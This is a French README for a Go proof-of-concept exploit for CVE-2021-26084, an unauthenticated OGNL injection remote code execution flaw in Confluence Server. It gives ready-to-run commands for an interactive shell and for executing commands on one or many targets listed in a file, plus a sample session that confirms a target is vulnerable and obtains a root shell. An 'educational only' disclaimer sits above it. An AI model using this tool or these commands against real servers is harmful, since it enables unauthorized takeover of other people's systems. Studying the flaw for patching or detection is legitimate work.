CVE-2021-26084

Preuve de concept pour CVE-2021-26084.

Injection OGNL dans Confluence Server Webwork (RCE sans authentification)

Avertissement

Ceci est à des fins éducatives uniquement. Je ne suis pas responsable de vos actions. Utilisez à vos propres risques.

Limitations des commandes

En raison de la charge utile, il n'est pas possible de passer certains caractères. La liste ci-dessous est ce que j'ai trouvé lors de mes tests.

• Guillemets doubles "
• Barre verticale |

Shell interactif

 go run exploit.go -t <target> -i

Exemple

root@localhost:/# go run exploit.go -t http://localhost:8090 -i
CVE-2021-26084 - Confluence Server Webwork OGNL injection
Created by Tay (https://github.com/taythebot)
time="2021-09-02T00:29:37+09:00" level=info msg="Checking if https://localhost:8090 is vulnerable"
time="2021-09-02T00:29:39+09:00" level=info msg="Target https://localhost:8090 is vulnerable"
root@confluence:/# whoami
root
root@confluence:/# exit
Exiting interactive mode, goodbye

• Ne fonctionne que sur une seule cible
• Tapez exit pour quitter le shell interactif
• Un message indique s'il s'agit éventuellement d'une machine Windows

Cible unique

go run exploit.go -t <target> -c <command>

Cibles multiples

go run exploit.go -f <file> -c <command>

Compilation

go mod download
go build exploit.go